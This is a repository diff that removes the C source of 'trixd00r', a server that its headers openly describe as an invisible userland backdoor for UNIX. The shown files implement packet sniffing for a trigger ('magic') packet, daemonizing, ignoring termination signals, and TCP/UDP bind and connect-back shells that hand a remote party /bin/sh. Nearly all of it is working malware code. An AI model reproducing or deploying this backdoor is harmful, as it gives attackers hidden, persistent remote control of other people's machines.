#ifndef __VERBOSE_H__
#define __VERBOSE_H__
/* verbose mode test and messages */
#define __IF_VERBOSE if (ctrl->verbose)
#define __VERBOSE_ARGS __IF_VERBOSE \
printf("[+] "BLUE"checking arguments"NORM"\n");
#define __VERBOSE_PREPARE __IF_VERBOSE \
printf("[+] "BLUE"preparing sniffer"NORM"\n");
#define __VERBOSE_WATCH __IF_VERBOSE \
printf("[+] "BLUE"watching for magic packet"NORM"\n");
#define __VERBOSE_MAGIC __IF_VERBOSE \
printf("--- "YELLOW"got magic packet"NORM"\n");
#define __VERBOSE_BIND_TCP __IF_VERBOSE \
printf("--- "YELLOW"binding shell on TCP port %u"NORM"\n", shell->port);
#define __VERBOSE_CONNBACK_TCP __IF_VERBOSE \
printf("--- "YELLOW"connecting back to %s"NORM"\n", shell->host);
#define __VERBOSE_BIND_UDP __IF_VERBOSE \
printf("--- "YELLOW"binding shell on UDP port %u"NORM"\n", shell->port);
#define __VERBOSE_CONNBACK_UDP __IF_VERBOSE \
printf("--- "YELLOW"connecting back to %s:%u"NORM"\n", shell->host,\
shell->port);
#define __VERBOSE_CONNECT_FROM __IF_VERBOSE \
printf("--- "YELLOW"ph34r, client %s has connected"NORM"\n", \
inet_ntop(AF_INET, &shell->cli.sin_addr, buff, sizeof(buff)));
#define __VERBOSE_CONNECT_TO __IF_VERBOSE \
printf("--- "YELLOW"ph34r, connected to %s"NORM"\n", shell->host);
#define __VERBOSE_BYEBYE __IF_VERBOSE \
printf("--- "YELLOW"got BYEBYE packet :("NORM"\n");
#define __VERBOSE_END __IF_VERBOSE \
printf("[+] "BLUE"ending trixd00rd"NORM"\n");
#endif
/* EOF */
backdoor/trixd00r/source/server/inc/wrapper.h
-91
View File
@@ -1,91 +0,0 @@
/*******************************************************************************
* ____ _ __ *
* ___ __ __/ / /__ ___ ______ ______(_) /___ __ *
* / _ \/ // / / (_-</ -_) __/ // / __/ / __/ // / *
* /_//_/\_,_/_/_/___/\__/\__/\_,_/_/ /_/\__/\_, / *
* /___/ nullsecurity team *
* *
* trixd00r - Advanced and invisible TCP/IP based userland backdoor *
* *
* FILE *
* server/inc/wrapper.h *
* *
* DATE *
* 02/10/2012 *
* *
* DESCRIPTION *
* trixd00r is an advanced and invisible userland backdoor based on TCP/IP for *
* UNIX systems. It consists of a server and a client. The server sits and *
* waits for magic packets using a sniffer. If a magic packet arrives, it will *
* bind a shell over TCP or UDP on the given port or connecting back to the *
* client again over TCP or UDP. The client is used to send magic packets to *
* trigger the server and get a shell. *
* *
* COPYRIGHT *
* Read docs/COPYING. *
* *
* AUTHOR *
* noptrix - http://www.nullsecurity.net/ *
* *
******************************************************************************/
#ifndef __WRAPER_H__
#define __WRAPER_H__
#define _BSD_SOURCE 1
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdarg.h>
#include <unistd.h>
#include <sys/time.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <arpa/inet.h>
#include <netinet/in.h>
#include <netdb.h>
#include <pcap.h>
/* memory */
void *xmalloc(size_t);
void *xmemset(void *, int, size_t);
void *xmemcpy(void *, const void *, size_t);
void *alloc_buff(unsigned int);
/* file */
void xclose(int);
int xdup2(int, int);
void xselect(int, fd_set *, fd_set *, fd_set *, struct timeval *);
void xpipe(int *);
/* net */
struct hostent *xgethostbyname(const char *);
int xsocket(int, int, int);
void xconnect(int, const struct sockaddr *, socklen_t);
void xsendto(int, const void *, size_t, int, const struct sockaddr *, socklen_t);
ssize_t xrecvfrom(int, void *, size_t, int, struct sockaddr *, socklen_t *);
void xsetsockopt(int, int, int, const void *, socklen_t);
void xinet_ntop(int, const void *, char *, socklen_t);
void xbind(int, const struct sockaddr *, socklen_t);
void xlisten(int, int);
int xaccept(int, struct sockaddr *, socklen_t *);
/* pcap */
void xpcap_lookupnet(const char *, bpf_u_int32 *, bpf_u_int32 *);
pcap_t *xpcap_open_live(const char *, int, int, int);
void xpcap_compile(pcap_t *, struct bpf_program *, const char *, int,
bpf_u_int32);
void xpcap_setfilter(pcap_t *, struct bpf_program *);
char *convert_host(char *);
#endif
/* EOF */
backdoor/trixd00r/source/server/src/checks.c
-169
View File
@@ -1,169 +0,0 @@
/*******************************************************************************
* ____ _ __ *
* ___ __ __/ / /__ ___ ______ ______(_) /___ __ *
* / _ \/ // / / (_-</ -_) __/ // / __/ / __/ // / *
* /_//_/\_,_/_/_/___/\__/\__/\_,_/_/ /_/\__/\_, / *
* /___/ nullsecurity team *
* *
* trixd00r - Advanced and invisible TCP/IP based userland backdoor *
* *
* FILE *
* server/src/checks.c *
* *
* DATE *
* 02/10/2012 *
* *
* DESCRIPTION *
* trixd00r is an advanced and invisible userland backdoor based on TCP/IP for *
* UNIX systems. It consists of a server and a client. The server sits and *
* waits for magic packets using a sniffer. If a magic packet arrives, it will *
* bind a shell over TCP or UDP on the given port or connecting back to the *
* client again over TCP or UDP. The client is used to send magic packets to *
* trigger the server and get a shell. *
* *
* COPYRIGHT *
* Read docs/COPYING. *
* *
* AUTHOR *
* noptrix - http://www.nullsecurity.net/ *
* *
******************************************************************************/
#include "checks.h"
#include "shell.h"
#include "wrapper.h"
#include "error.h"
/* checks for valid packet type / prints out available types */
void check_pkt_type(ctrl_t *ctrl, char *type)
{
/* list packet types */
if (strchr(type, '?')) {
print_packet_types();
free_trixd00rd(ctrl);
__EXIT_SUCCESS;
}
/* wrong packet type */
if (ATOI(type) < 0 || ATOI(type) >= _NUM_PKT_TYPES) {
free_trixd00rd(ctrl);
print_error(ERR_PKT_TYPE);
}
return;
}
/* checks for valid shell mode / prints out available modes */
void check_shell_mode(ctrl_t *ctrl, char *mode)
{
/* list shell modes */
if (strchr(mode, '?')) {
print_shell_modes();
free_trixd00rd(ctrl);
__EXIT_SUCCESS;
}
/* wrong shell mode */
if (ATOI(mode) < 0 || ATOI(mode) >= _NUM_SHELL_MODES) {
free_trixd00rd(ctrl);
print_error(ERR_SHELL_MODE);
}
return;
}
/* checks for valid hosts */
void check_host(const char *host)
{
int x = 0;
unsigned char buff[sizeof(struct in_addr)];
x = inet_pton(AF_INET, host, buff);
if (x <= 0) {
xgethostbyname(host);
}
return;
}
/* checks for valid port number */
void check_port(ctrl_t *ctrl, int port)
{
if (port == 0 || port < 0 || port > 65535) {
free_trixd00rd(ctrl);
print_error(ERR_PORT);
}
return;
}
/* checks for uid 0 */
void check_uid(ctrl_t *ctrl)
{
uid_t uid = 0;
uid = getuid();
if (uid != 0) {
free_trixd00rd(ctrl);
print_error(ERR_UID);
}
return;
}
/* checks for packet size */
void check_pkt_size(ctrl_t *ctrl, int size)
{
if (size > MAX_PORT) {
free_trixd00rd(ctrl);
print_error(ERR_PKT_SIZE);
}
return;
}
/* check first usage */
void check_argc(int argc)
{
if (argc < 2) {
print_error(ERR_ARGC);
}
return;
}
/* checks, if necessary arguments are selected */
void check_args(ctrl_t *ctrl)
{
/* interface was not selected */
if (ctrl->sniffer->iface == NULL) {
free_trixd00rd(ctrl);
print_error(ERR_ARGS);
}
/* other needed arguments were not defined */
if (ctrl->sniffer->iface == NULL ||
(ctrl->shell->mode == _TCP_CONN_BACK &&
ctrl->shell->host == NULL) ||
(ctrl->shell->mode == _UDP_CONN_BACK &&
ctrl->shell->host == NULL)) {
free_trixd00rd(ctrl);
print_error(ERR_ARGS);
}
return;
}
/* EOF */
backdoor/trixd00r/source/server/src/controller.c
-135
View File
@@ -1,135 +0,0 @@
/*******************************************************************************
* ____ _ __ *
* ___ __ __/ / /__ ___ ______ ______(_) /___ __ *
* / _ \/ // / / (_-</ -_) __/ // / __/ / __/ // / *
* /_//_/\_,_/_/_/___/\__/\__/\_,_/_/ /_/\__/\_, / *
* /___/ nullsecurity team *
* *
* trixd00r - Advanced and invisible TCP/IP based userland backdoor *
* *
* FILE *
* server/src/controller.c *
* *
* DATE *
* 02/10/2012 *
* *
* DESCRIPTION *
* trixd00r is an advanced and invisible userland backdoor based on TCP/IP for *
* UNIX systems. It consists of a server and a client. The server sits and *
* waits for magic packets using a sniffer. If a magic packet arrives, it will *
* bind a shell over TCP or UDP on the given port or connecting back to the *
* client again over TCP or UDP. The client is used to send magic packets to *
* trigger the server and get a shell. *
* *
* COPYRIGHT *
* Read docs/COPYING. *
* *
* AUTHOR *
* noptrix - http://www.nullsecurity.net/ *
* *
******************************************************************************/
#include "controller.h"
#include "sniffer.h"
#include "shell.h"
#include "checks.h"
#include "signals.h"
#include "verbose.h"
#include "wrapper.h"
#include "error.h"
/* just free everything we have to free */
void free_trixd00rd(ctrl_t *ctrl)
{
if (ctrl->shell != NULL) {
free(ctrl->shell);
}
if (ctrl->sniffer != NULL) {
free(ctrl->sniffer);
}
if (ctrl->packet != NULL) {
free(ctrl->packet);
}
if (ctrl != NULL) {
free(ctrl);
}
return;
}
/* ignore or handle some signals */
void install_signals()
{
xsignal(SIGTERM, SIG_IGN);
xsignal(SIGHUP, SIG_IGN);
xsignal(SIGINT, SIG_IGN);
xsignal(SIGUSR1, SIG_IGN);
xsignal(SIGUSR2, SIG_IGN);
/* here we do not ignore SIGCHLD, because we need to be without zombies */
xsignal(SIGCHLD, sig_chld);
return;
}
/* allocate buffer for each struct and fill in with zeros */
ctrl_t *alloc_structs()
{
ctrl_t *ctrl = NULL;
ctrl = (ctrl_t *) alloc_buff(sizeof(ctrl_t));
ctrl->sniffer = (sniffer_t *) alloc_buff(sizeof(sniffer_t));
ctrl->packet = (packet_t *) alloc_buff(sizeof(packet_t));
ctrl->shell = (shell_t *) alloc_buff(sizeof(shell_t));
return ctrl;
}
/* default settings for ctrl_t {} - prior to our complete definition */
ctrl_t *set_ctrl_defaults(ctrl_t *ctrl)
{
ctrl->packet->allowed_host = DEF_HOST;
ctrl->packet->type = DEF_TYPE;
ctrl->packet->m_payload = DEF_PAYLOAD;
ctrl->packet->b_payload = DEF_BYE_PAYLOAD;
ctrl->shell->banner = BANNER_ON;
ctrl->shell->mode = DEF_MODE;
ctrl->shell->port = DEF_PORT;
ctrl->verbose = QUIET;
return ctrl;
}
/* begin of trixd00rd */
void start_trixd00rd(ctrl_t *ctrl)
{
__VERBOSE_PREPARE;
prepare_sniffer(ctrl);
__VERBOSE_WATCH;
if (watch_packet(ctrl) == IS_BYEBYE_PACKET) {
end_trixd00rd(ctrl);
}
return;
}
/* end of trixd00rd */
void end_trixd00rd(ctrl_t *ctrl)
{
__VERBOSE_END;
pcap_close(ctrl->sniffer->handle);
free_trixd00rd(ctrl);
return;
}
/* EOF */
backdoor/trixd00r/source/server/src/daemon.c
-70
View File
@@ -1,70 +0,0 @@
/*******************************************************************************
* ____ _ __ *
* ___ __ __/ / /__ ___ ______ ______(_) /___ __ *
* / _ \/ // / / (_-</ -_) __/ // / __/ / __/ // / *
* /_//_/\_,_/_/_/___/\__/\__/\_,_/_/ /_/\__/\_, / *
* /___/ nullsecurity team *
* *
* trixd00r - Advanced and invisible TCP/IP based userland backdoor *
* *
* FILE *
* server/src/daemon.c *
* *
* DATE *
* 02/10/2012 *
* *
* DESCRIPTION *
* trixd00r is an advanced and invisible userland backdoor based on TCP/IP for *
* UNIX systems. It consists of a server and a client. The server sits and *
* waits for magic packets using a sniffer. If a magic packet arrives, it will *
* bind a shell over TCP or UDP on the given port or connecting back to the *
* client again over TCP or UDP. The client is used to send magic packets to *
* trigger the server and get a shell. *
* *
* COPYRIGHT *
* Read docs/COPYING. *
* *
* AUTHOR *
* noptrix - http://www.nullsecurity.net/ *
* *
******************************************************************************/
#include "daemon.h"
#include "signals.h"
#include "trixd00rd.h"
#include "wrapper.h"
#include "error.h"
/* puts server in background -> daemonize */
void daemonize()
{
unsigned char i = 0;
pid_t pid = 0;
if ((pid = fork()) < 0) {
print_error(ERR_GEN);
} else if (pid) {
__EXIT_SUCCESS;
}
/* child 1 continues become session leader */
if (setsid() < 0) {
__EXIT_FAILURE;
}
xsignal(SIGHUP, SIG_IGN);
if ((pid = fork()) < 0) {
print_error(ERR_GEN);
} else if (pid) {
__EXIT_SUCCESS;
}
/* child 2 continues and close file descriptors */
for (i = 0; i < MAXFD; i++) {
xclose(i);
}
return;
}
/* EOF */
backdoor/trixd00r/source/server/src/error.c
-109
View File
@@ -1,109 +0,0 @@
/*******************************************************************************
* ____ _ __ *
* ___ __ __/ / /__ ___ ______ ______(_) /___ __ *
* / _ \/ // / / (_-</ -_) __/ // / __/ / __/ // / *
* /_//_/\_,_/_/_/___/\__/\__/\_,_/_/ /_/\__/\_, / *
* /___/ nullsecurity team *
* *
* trixd00r - Advanced and invisible TCP/IP based userland backdoor *
* *
* FILE *
* server/src/error.c *
* *
* DATE *
* 02/10/2012 *
* *
* DESCRIPTION *
* trixd00r is an advanced and invisible userland backdoor based on TCP/IP for *
* UNIX systems. It consists of a server and a client. The server sits and *
* waits for magic packets using a sniffer. If a magic packet arrives, it will *
* bind a shell over TCP or UDP on the given port or connecting back to the *
* client again over TCP or UDP. The client is used to send magic packets to *
* trigger the server and get a shell. *
* *
* COPYRIGHT *
* Read docs/COPYING. *
* *
* AUTHOR *
* noptrix - http://www.nullsecurity.net/ *
* *
******************************************************************************/
#include "error.h"
static void error_fatal(const char *);
/*static void error_warn(const char *);*/
static void sys_error_fatal(const char *);
static void sys_error_warn(const char *);
/* error codes, messages and related functions */
error_t error[] = {
{ ERR_GEN, ERR_MSG_GEN, error_fatal },
{ ERR_PCAP_LOOKUPNET, ERR_MSG_PCAP_LOOKUPNET, error_fatal },
{ ERR_PCAP_OPEN, ERR_MSG_PCAP_OPEN, error_fatal },
{ ERR_PKT_TYPE, ERR_MSG_PKT_TYPE, error_fatal },
{ ERR_SHELL_MODE, ERR_MSG_SHELL_MODE, error_fatal },
{ ERR_HOST, ERR_MSG_HOST, error_fatal },
{ ERR_IP, ERR_MSG_IP, error_fatal },
{ ERR_PORT, ERR_MSG_PORT, error_fatal },
{ ERR_ARGC, ERR_MSG_ARGC, error_fatal },
{ ERR_ARGS, ERR_MSG_ARGS, error_fatal },
{ ERR_FILE, ERR_MSG_FILE, error_fatal },
{ ERR_UID, ERR_MSG_UID, error_fatal },
{ ERR_PKT_SIZE, ERR_MSG_PKT_SIZE, error_fatal },
{ ERR_NET, ERR_MSG_NET, sys_error_fatal },
{ ERR_CLOSE, ERR_MSG_CLOSE, sys_error_warn }
};
/* generate error messages */
static void error_fatal(const char *msg)
{
fprintf(stderr, "%s\n", msg);
__EXIT_FAILURE;
return;
}
/* generate warning messages
static void error_warn(const char *msg)
{
fprintf(stderr, "%s\n", msg);
return;
}*/
/* generate system error messages */
static void sys_error_fatal(const char *msg)
{
perror(msg);
__EXIT_FAILURE;
return;
}
/* generate system warning messaes */
static void sys_error_warn(const char *msg)
{
perror(msg);
return;
}
/* call one of our error routines (see above) */
void print_error(unsigned char code)
{
__CALL_ERROR_FUNC(code);
return;
}
/* EOF */
backdoor/trixd00r/source/server/src/help.c
-71
View File
@@ -1,71 +0,0 @@
/*******************************************************************************
* ____ _ __ *
* ___ __ __/ / /__ ___ ______ ______(_) /___ __ *
* / _ \/ // / / (_-</ -_) __/ // / __/ / __/ // / *
* /_//_/\_,_/_/_/___/\__/\__/\_,_/_/ /_/\__/\_, / *
* /___/ nullsecurity team *
* *
* trixd00r - Advanced and invisible TCP/IP based userland backdoor *
* *
* FILE *
* server/src/help.c *
* *
* DATE *
* 02/10/2012 *
* *
* DESCRIPTION *
* trixd00r is an advanced and invisible userland backdoor based on TCP/IP for *
* UNIX systems. It consists of a server and a client. The server sits and *
* waits for magic packets using a sniffer. If a magic packet arrives, it will *
* bind a shell over TCP or UDP on the given port or connecting back to the *
* client again over TCP or UDP. The client is used to send magic packets to *
* trigger the server and get a shell. *
* *
* COPYRIGHT *
* Read docs/COPYING. *
* *
* AUTHOR *
* noptrix - http://www.nullsecurity.net/ *
* *
******************************************************************************/
#include "help.h"
#include "trixd00rd.h"
/* leet banner */
void banner()
{
printf("+------------------------------------------+\
\n| trixd00rd - http://www.nullsecurity.net/ |\
\n+------------------------------------------+\n");
return;
}
/* help and usage */
void usage()
{
printf("usage:\n\n\
trixd00rd -i <arg> [options]\n\
\noptions:\n\n\
-i <iface> - interface to use\n\
-t <type> - magic packet type - ? to list all (default TCP SYN)\n\
-p <payload> - magic payload string to trigger shell (default opensesame)\n\
-s <mode> - shell mode - ? to list all (default TCP bind port)\n");
printf(" -b <port> - port for shell (default 31337)\n\
-a <host> - allow only this host to talk to trixd00rd (default ANY)\n\
-c <host> - connect back host\n\
-z <payload> - magic payload string to quit trixd00rd (default byebye)\n\
-d - daemonize trixd00rd and put in background\n\
-n - send no welcome and bye banner\n");
printf(" -x - use ssl (only available in priv8 version!)\n\
-v - verbose mode (default quiet)\n\
-V - show trixd00rd version\n\
-H - show help and usage\n");
return;
}
/* EOF */
backdoor/trixd00r/source/server/src/shell.c
-360
View File
@@ -1,360 +0,0 @@
/*******************************************************************************
* ____ _ __ *
* ___ __ __/ / /__ ___ ______ ______(_) /___ __ *
* / _ \/ // / / (_-</ -_) __/ // / __/ / __/ // / *
* /_//_/\_,_/_/_/___/\__/\__/\_,_/_/ /_/\__/\_, / *
* /___/ nullsecurity team *
* *
* trixd00r - Advanced and invisible TCP/IP based userland backdoor *
* *
* FILE *
* server/src/shell.c *
* *
* DATE *
* 02/10/2012 *
* *
* DESCRIPTION *
* trixd00r is an advanced and invisible userland backdoor based on TCP/IP for *
* UNIX systems. It consists of a server and a client. The server sits and *
* waits for magic packets using a sniffer. If a magic packet arrives, it will *
* bind a shell over TCP or UDP on the given port or connecting back to the *
* client again over TCP or UDP. The client is used to send magic packets to *
* trigger the server and get a shell. *
* *
* COPYRIGHT *
* Read docs/COPYING. *
* *
* AUTHOR *
* noptrix - http://www.nullsecurity.net/ *
* *
******************************************************************************/
#include "shell.h"
#include "wrapper.h"
#include "verbose.h"
#include "error.h"
#include <fcntl.h>
static void tcp_bind_shell(ctrl_t *);
static void tcp_connback_shell(ctrl_t *);
static void udp_bind_shell(ctrl_t *);
static void udp_connback_shell(ctrl_t *);
/* build welcome and bybebye banner and send to the client */
void send_banner(shell_t *shell, unsigned char type)
{
char banner[920];
if (type == _BAN_WELCOME) {
snprintf(banner, sizeof(banner), "%s%s", BAN_WELCOME1, BAN_WELCOME2);
} else {
snprintf(banner, sizeof(banner), "%s", BAN_BYE);
}
xsendto(shell->cfd, banner, strlen(banner) + 1, 0,
(struct sockaddr *) &shell->srv, sizeof(shell->srv));
return;
}
/* print available shell modes */
void print_shell_modes()
{
unsigned char i = 0;
const char *descr[_NUM_SHELL_MODES] = {
TCP_BIND_PORT, TCP_CONN_BACK, UDP_BIND_PORT, UDP_CONN_BACK
};
printf("[+] "BLUE"available shell modes"NORM"\n");
for (i = 0; i < _NUM_SHELL_MODES; i++) {
printf("--- %u [%s]\n", i, descr[i]);
}
return;
}
/* bind shell on tcp port */
static void tcp_bind_shell(ctrl_t *ctrl)
{
const int opt = 1;
socklen_t len = 0;
shell_t *shell = (shell_t *) ctrl->shell;
char buff[SOCKBUF];
__VERBOSE_BIND_TCP;
/* create socket, set desired socket option and fill in sockaddr_in {} */
shell->lfd = xsocket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
xsetsockopt(shell->lfd, SOL_SOCKET, SO_REUSEADDR, &opt, sizeof(opt));
xmemset(&shell->srv, 0x00, sizeof(shell->srv));
shell->srv.sin_family = AF_INET;
shell->srv.sin_addr.s_addr = htonl(INADDR_ANY);
shell->srv.sin_port = htons(shell->port);
/* bind shell on given port, go to listen mode and accept connections */
xbind(shell->lfd, (struct sockaddr *) &shell->srv, sizeof(shell->srv));
xlisten(shell->lfd, 1024);
len = sizeof(shell->cli);
shell->cfd = xaccept(shell->lfd, (struct sockaddr *) &shell->cli, &len);
__VERBOSE_CONNECT_FROM;
/* exec evil shell */
if ((shell->pid = fork()) == 0) {
xdup2(shell->cfd, 0);
xdup2(shell->cfd, 1);
xdup2(shell->cfd, 2);
sleep(1);
__SEND_BANNER(_BAN_WELCOME);
execl(SHELL, SHELL, NULL);
__EXIT_SUCCESS;
}
/* we are done, so we can close descriptors */
xclose(shell->lfd);
xclose(shell->cfd);
return;
}
/* connect back with shell on tcp port */
static void tcp_connback_shell(ctrl_t *ctrl)
{
socklen_t len = 0;
shell_t *shell = (shell_t *) ctrl->shell;
__VERBOSE_CONNBACK_TCP;
/* create socket and fill in sockaddr_in {} */
shell->cfd = xsocket(AF_INET, SOCK_STREAM, 0);
xmemset(&shell->cli, 0x00, sizeof(shell->cli));
shell->cli.sin_family = AF_INET;
shell->cli.sin_addr.s_addr = inet_addr(shell->host);
shell->cli.sin_port = htons(shell->port);
len = sizeof(shell->cli);
/* connect back to client */
xconnect(shell->cfd, (const struct sockaddr *) &shell->cli, len);
__VERBOSE_CONNECT_TO;
/* exec evil shell */
if ((shell->pid = fork()) == 0) {
xdup2(shell->cfd, 0);
xdup2(shell->cfd, 1);
xdup2(shell->cfd, 2);
sleep(1);
__SEND_BANNER(_BAN_WELCOME);
execl(SHELL, SHELL, NULL);
__EXIT_SUCCESS;
}
/* we are done, so we can close descriptors */
xclose(shell->cfd);
return;
}
/* bind shell on udp port */
static void udp_bind_shell(ctrl_t *ctrl)
{
const int opt = 1;
int sock = 0, _pipe = 0, fd[2], fd2[2], highfd = 0;
fd_set readfds;
socklen_t len = 0;
char buffer[SOCKBUF];
shell_t *shell = (shell_t *) ctrl->shell;
__VERBOSE_BIND_UDP;
/* create connection socket - remember we build a pipe because of UDP, so we
* don't use direct listening socket - just read the fuckin c0de */
shell->cfd = xsocket(AF_INET, SOCK_DGRAM, IPPROTO_UDP);
xsetsockopt(shell->cfd, SOL_SOCKET, SO_REUSEADDR, &opt, sizeof(opt));
/* fill in sockaddr_in {} */
xmemset(&shell->srv, 0x00, sizeof(shell->srv));
shell->srv.sin_family = AF_INET;
shell->srv.sin_addr.s_addr = htonl(INADDR_ANY);
shell->srv.sin_port = htons(shell->port);
len = sizeof(shell->srv);
/* bind on given port */
xbind(shell->cfd, (struct sockaddr *) &shell->srv, len);
/* banner crap */
recvfrom(shell->cfd, buffer, sizeof(buffer), 0,
(struct sockaddr *) &shell->srv, &len);
__SEND_BANNER(_BAN_WELCOME);
/* build the pipe */
FD_ZERO(&readfds);
xpipe(fd);
xpipe(fd2);
/* exec evil shell - child process */
if ((shell->pid = fork()) == 0) {
xclose(fd[0]);
xclose(fd2[1]);
xdup2(fd2[0], 0);
xdup2(fd[1], 1);
xdup2(fd[1], 2);
sleep(1);
execl(SHELL, SHELL, NULL);
xclose(fd[1]);
xclose(fd[0]);
__EXIT_SUCCESS;
/* parent process */
} else if (shell->pid > 0) {
xclose(fd[1]);
xclose(fd2[0]);
/* set socket to non blocking */
fcntl(shell->cfd, F_SETFL, O_NONBLOCK);
fcntl(fd[0], F_SETFL, O_NONBLOCK);
highfd = (shell->cfd > fd[0]) ? shell->cfd: fd[0];
/* read and write back from pipe - client is connected already */
for ( ; ; ) {
FD_SET(shell->cfd, &readfds);
FD_SET(fd[0], &readfds);
xmemset(&buffer, 0x00, sizeof(buffer));
xselect(highfd + 1, &readfds, NULL, NULL, NULL);
sock = recvfrom(shell->cfd, buffer, sizeof(buffer), 0,
(struct sockaddr *) &shell->srv, &len);
_pipe = read(fd[0], buffer, sizeof(buffer));
sock = write(fd2[1], buffer, sock);
if (_pipe > 0) {
buffer[_pipe] = 0;
xsendto(shell->cfd, buffer, _pipe, 0,
(struct sockaddr *) &shell->srv, len);
}
if ((!_pipe) || (!sock)) {
break;
}
}
/* we are done, so we can close descriptors */
xclose(fd[0]);
xclose(fd2[1]);
xclose(shell->cfd);
}
return;
}
/* connect back with shell on udp port */
static void udp_connback_shell(ctrl_t *ctrl)
{
int sock = 0, _pipe = 0, fd[2], fd2[2], highfd = 0;
fd_set readfds;
socklen_t len = 0;
char buffer[SOCKBUF];
shell_t *shell = (shell_t *) ctrl->shell;
__VERBOSE_CONNBACK_UDP;
/* create socket and fill in sockaddr_in {} */
shell->cfd = xsocket(AF_INET, SOCK_DGRAM, 0);
xmemset(&shell->cli, 0x00, sizeof(shell->srv));
shell->srv.sin_family = AF_INET;
shell->srv.sin_addr.s_addr = inet_addr(shell->host);
shell->srv.sin_port = htons(shell->port);
len = sizeof(shell->srv);
FD_ZERO(&readfds);
/* connect back to client and send welcome banner */
xconnect(shell->cfd, (struct sockaddr *) &shell->srv, len);
__SEND_BANNER(_BAN_WELCOME);
/* build the pipe */
xpipe(fd);
xpipe(fd2);
__VERBOSE_CONNECT_TO;
/* exec evil shell - child process */
if ((shell->pid = fork()) == 0) {
xclose(fd[0]);
xclose(fd2[1]);
xdup2(fd2[0], 0);
xdup2(fd[1], 1);
xdup2(fd[1], 2);
sleep(1);
__SEND_BANNER(_BAN_WELCOME);
execl(SHELL, SHELL, NULL);
xclose(fd[1]);
xclose(fd[0]);
__EXIT_SUCCESS;
/* parent process */
} else if (shell->pid > 0) {
xclose(fd[1]);
xclose(fd2[0]);
fcntl(shell->cfd, F_SETFL, O_NONBLOCK);
fcntl(fd[0], F_SETFL, O_NONBLOCK);
highfd = (shell->cfd > fd[0]) ? shell->cfd: fd[0];
/* read and write back from pipe - client got connection already */
for ( ; ; ) {
FD_SET(shell->cfd, &readfds);
FD_SET(fd[0], &readfds);
xmemset(&buffer, 0x00, sizeof(buffer));
xselect(highfd + 1, &readfds, NULL, NULL, NULL);
sock = recvfrom(shell->cfd, buffer, sizeof(buffer), 0,
(struct sockaddr *) &shell->srv, &len);
_pipe = read(fd[0], buffer, sizeof(buffer));
sock = write(fd2[1], buffer, sock);
if (_pipe > 0) {
buffer[_pipe] = 0;
xsendto(shell->cfd, buffer, _pipe, 0,
(struct sockaddr *) &shell->srv, len);
}
if ((!_pipe) || (!sock)) {
break;
}
}
/* we are done, so we can close descriptors */
xclose(fd[0]);
xclose(fd2[1]);
xclose(shell->cfd);
}
return;
}
/* see above */
static void (*fparr[]) (ctrl_t *ctrl) = {
tcp_bind_shell, tcp_connback_shell, udp_bind_shell, udp_connback_shell
};
/* either connect back or bind port and send shell */
void open_shell(ctrl_t *ctrl)
{
fparr[ctrl->shell->mode](ctrl);
return;
}
/* EOF */
backdoor/trixd00r/source/server/src/signals.c
-101
View File
@@ -1,101 +0,0 @@
/*******************************************************************************
* ____ _ __ *
* ___ __ __/ / /__ ___ ______ ______(_) /___ __ *
* / _ \/ // / / (_-</ -_) __/ // / __/ / __/ // / *
* /_//_/\_,_/_/_/___/\__/\__/\_,_/_/ /_/\__/\_, / *
* /___/ nullsecurity team *
* *
* trixd00r - Advanced and invisible TCP/IP based userland backdoor *
* *
* FILE *
* server/src/signals.c *
* *
* DATE *
* 02/10/2012 *
* *
* DESCRIPTION *
* trixd00r is an advanced and invisible userland backdoor based on TCP/IP for *
* UNIX systems. It consists of a server and a client. The server sits and *
* waits for magic packets using a sniffer. If a magic packet arrives, it will *
* bind a shell over TCP or UDP on the given port or connecting back to the *
* client again over TCP or UDP. The client is used to send magic packets to *
* trigger the server and get a shell. *
* *
* COPYRIGHT *
* Read docs/COPYING. *
* *
* AUTHOR *
* noptrix - http://www.nullsecurity.net/ *
* *
******************************************************************************/
#include "signals.h"
#include "error.h"
#include <sys/types.h>
#include <sys/wait.h>
#include <errno.h>
/* signal() predates POSIX, therefore we use wrapper for sigaction().
* ripped from UNPv1. thx to W. R. STEVENS (R.I.P.) */
sigfunc *xsignal(int signo, sigfunc *func)
{
struct sigaction act, oact;
act.sa_handler = func;
sigemptyset(&act.sa_mask);
act.sa_flags = 0;
if (signo == SIGALRM) {
#ifdef SA_INTERRUPT
/* SUN OS */
act.sa_flags |= SA_INTERRUPT;
#endif
} else {
#ifdef SA_RESTART
/* BSD */
act.sa_flags |= SA_RESTART;
#endif
}
if (sigaction(signo, &act, &oact) < 0) {
return SIG_ERR;
}
return oact.sa_handler;
}
/* we don't want to have zombies */
void sig_chld()
{
pid_t pid = 0;
int stat = 0;
if ((pid = waitpid(-1, &stat, WNOHANG)) < 0) {
if (errno != ECHILD) {
print_error(ERR_GEN);
}
}
return;
}
/* we only want to interrupt the connect() - to get EINTR and then assign
* ETIMEDOUT to errno */
void connect_alarm()
{
return;
}
/* cleanup for SIGINT/SIGTERM */
void cleanup()
{
return;
}
/* EOF */
backdoor/trixd00r/source/server/src/sniffer.c
-283
View File
@@ -1,283 +0,0 @@
/*******************************************************************************
* ____ _ __ *
* ___ __ __/ / /__ ___ ______ ______(_) /___ __ *
* / _ \/ // / / (_-</ -_) __/ // / __/ / __/ // / *
* /_//_/\_,_/_/_/___/\__/\__/\_,_/_/ /_/\__/\_, / *
* /___/ nullsecurity team *
* *
* trixd00r - Advanced and invisible TCP/IP based userland backdoor *
* *
* FILE *
* server/src/sniffer.c *
* *
* DATE *
* 02/10/2012 *
* *
* DESCRIPTION *
* trixd00r is an advanced and invisible userland backdoor based on TCP/IP for *
* UNIX systems. It consists of a server and a client. The server sits and *
* waits for magic packets using a sniffer. If a magic packet arrives, it will *
* bind a shell over TCP or UDP on the given port or connecting back to the *
* client again over TCP or UDP. The client is used to send magic packets to *
* trigger the server and get a shell. *
* *
* COPYRIGHT *
* Read docs/COPYING. *
* *
* AUTHOR *
* noptrix - http://www.nullsecurity.net/ *
* *
******************************************************************************/
#include "sniffer.h"
#include "controller.h"
#include "trixd00rd.h"
#include "shell.h"
#include "verbose.h"
#include "wrapper.h"
static void is_allowed_host(packet_t *);
static unsigned char is_magic_packet(packet_t *);
static void define_payload(packet_t *, unsigned int);
static unsigned int define_udphdr(packet_t *);
static unsigned int define_tcphdr(packet_t *);
static void define_iphdr(packet_t *);
static void define_packet(packet_t *);
static void got_packet(unsigned char *, const struct pcap_pkthdr *,
const unsigned char *);
/* print out supported magic packet types and protocol */
void print_packet_types()
